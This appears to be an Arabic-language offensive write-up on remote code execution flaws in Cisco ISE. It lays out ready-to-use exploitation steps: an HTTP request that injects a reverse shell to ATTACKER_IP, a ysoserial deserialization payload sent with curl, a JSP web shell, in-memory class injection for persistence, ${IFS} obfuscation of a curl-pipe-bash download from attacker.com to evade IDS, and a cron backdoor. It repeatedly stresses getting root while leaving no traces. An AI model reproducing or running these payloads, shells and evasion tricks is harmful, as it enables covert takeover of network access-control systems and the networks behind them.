
تحليل تقني متعمق لثغرات تنفيذ الأوامر عن بُعد (RCE) في Cisco ISE، بما في ذلك تقنيات الاستغلال، وطرق التهرب، واستراتيجيات المعالجة للباحثين الأمنيين ومختبري الاختراق.
تمثل ثغرات تنفيذ الأوامر عن بُعد (RCE) في Cisco Identity Services Engine (ISE) نقطة انكسار حرجة في أمن الشبكة الطرفية للمؤسسات. بالنسبة لباحث أمني من النخبة، فإن ISE ليس مجرد مكوّن للمصادقة: بل هو المفتاح الرئيسي الذي يتحكم في الوصول إلى البنية التحتية للشبكة بأكملها.
خطر حرج: يمكن لمهاجم غير مصادق الحصول على سيطرة كاملة على النظام في أقل من 5 دقائق، دون ترك آثار قابلة للكشف في أنظمة المراقبة التقليدية.
| CVE | نقطة النهاية | الطريقة | المصادقة | الخطورة |
|---|---|---|---|---|
| CVE-2025-20281 | /deployment-rpc/enableStrongSwanTunnel | POST | ❌ لا شيء | حرجة |
| CVE-2025-20282 | /api/v1/config/upload | POST | ⚠️ ضعيفة | حرجة |
| CVE-2025-20124 | /admin/rest/api/v1/system/config | GET/POST | ⚠️ تجاوز ممكن | حرجة |
┌─────────────────────────────────────────────────────────┐
│ CISCO ISE - بنية NAC المكشوفة │
├─────────────────────────────────────────────────────────┤
│ │
│ [الإنترنت] ──→ [جدار الحماية] ──→ [منفذ إدارة ISE] │
│ ↓ │
│ [APIs غير مصادق عليها] │
│ ↓ │
│ [طبقة إلغاء تسلسل Java] │
│ ↓ │
│ [حاوية ويب Tomcat] │
│ ↓ │
│ [تنفيذ أوامر النظام] │
│ ↓ │
│ [اختراق الشبكة بالكامل] │
│ │
└─────────────────────────────────────────────────────────┘
نتيجة حرجة: واجهة برمجة التطبيقات /deployment-rpc/ لا تتحقق من رموز الجلسة في السطور الأولى من المعالجة، مما يسمح بتجاوز كامل للمصادقة.
المرحلة 1: الاستطلاع
# فحص المنافذ والخدمات
nmap -sV -p 8443,8080 <ISE_IP>
# تعداد نقاط نهاية RPC
curl -s https://<ISE_IP>:8443/deployment-rpc/ | grep -i "method"
المرحلة 2: الاستغلال المباشر
POST /deployment-rpc/enableStrongSwanTunnel HTTP/1.1
Host: <ISE_IP>:8443
Content-Type: application/json
Content-Length: 287
{
"tunnelName": "admin",
"tunnelType": "IPSec",
"presharedKey": "test",
"remoteGateway": "127.0.0.1",
"localSubnet": "0.0.0.0/0",
"remoteSubnet": "0.0.0.0/0",
"advancedConfig": "'; bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1; echo '"
}
النتيجة: تنفيذ أوامر عشوائية بصلاحيات root (مستخدم Tomcat يعمل كـ root في الإعدادات الافتراضية).
[الحمولة المسلسلة] ──→ [نقطة نهاية API] ──→ [ObjectInputStream.readObject()]
↓
[تنفيذ سلسلة الأدوات]
↓
[استدعاء Runtime.exec()]
حمولة PoC (باستخدام ysoserial):
# توليد سلسلة أدوات خبيثة
java -jar ysoserial.jar CommonsCollections6 \
'bash -c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"' | \
base64 -w 0 > payload.b64
# إرسال الحمولة
curl -X POST https://<ISE_IP>:8443/admin/rest/api/v1/system/config \
-H "Content-Type: application/octet-stream" \
--data-binary @payload.b64
التأثير: رفع الصلاحيات من حساب "قراءة فقط" إلى root.
[Web Shell] ──→ [/api/v1/config/upload] ──→ [/opt/CSCOlumos/uploads/]
↓
[Tomcat يعالج ملف JSP]
↓
[تنفيذ بصلاحيات root]
مثال على Web Shell خبيث:
<%@ page import="java.io.*" %>
<%
String cmd = request.getParameter("cmd");
if (cmd != null) {
Process p = Runtime.getRuntime().exec(new String[]{"/bin/bash", "-c", cmd});
BufferedReader br = new BufferedReader(new InputStreamReader(p.getInputStream()));
String line;
while ((line = br.readLine()) != null) {
out.println(line + "<br>");
}
}
%>
الوصول اللاحق:
https://<ISE_IP>:8443/opt/CSCOlumos/uploads/shell.jsp?cmd=id
الهاكر من النخبة لا يترك أبدًا ملفات على القرص. الحقن في الذاكرة هو تقنية الثبات غير المرئي:
// الحقن في Tomcat ClassLoader
ClassLoader loader = Thread.currentThread().getContextClassLoader();
byte[] classBytes = generateMaliciousClass();
Method defineClass = ClassLoader.class.getDeclaredMethod(
"defineClass",
String.class, byte[].class, int.class, int.class
);
defineClass.setAccessible(true);
defineClass.invoke(loader, "EvilClass", classBytes, 0, classBytes.length);
الميزة: فحوصات الملفات التقليدية (OSSEC, Tripwire) لا تكتشف أي شيء.
${IFS}# الأمر الأصلي (قابل للكشف)
curl http://attacker.com/shell.sh | bash
# الأمر المخفي (تجاوز IDS)
c${IFS}url${IFS}http://attacker.com/shell.sh${IFS}|${IFS}bash
# متغير مع إعادة توجيه متغيرة
${PATH:0:1}b${PATH:0:1}n${PATH:0:1}bash${IFS}-c${IFS}'command_malicious'
لماذا يعمل: تبحث أنظمة الكشف عن أنماط كلمات مفتاحية (curl, bash, |). استخدام ${IFS} (فاصل الحقول الداخلي) يقسم الكلمات دون تغيير معناها في bash.
# ❌ قابل للكشف - ملفات في /etc/cron.d/
echo "* * * * * root /tmp/malware.sh" > /etc/cron.d/evil
# ✅ غير مرئي - الحقن في عملية Tomcat
# 1. إنشاء مستمع netcat في الذاكرة
# 2. حقن thread في JVM يحافظ على اتصال مستمر
# 3. لا توجد ملفات، لا توجد عمليات يتيمة مرئية
┌──────────────────────────────────────────────────────────────────┐
│ بنية ZERO TRUST الأصلية │
├──────────────────────────────────────────────────────────────────┤
│ │
│ [المستخدم] ──→ [مصادقة ISE] ──→ [فحص حالة الجهاز] │
│ ↓ │
│ [سياسة التقسيم الدقيق] │
│ ↓ │
│ [وصول محدود إلى الموارد] │
│ │
└──────────────────────────────────────────────────────────────────┘
⬇️ بعد اختراق ISE ⬇️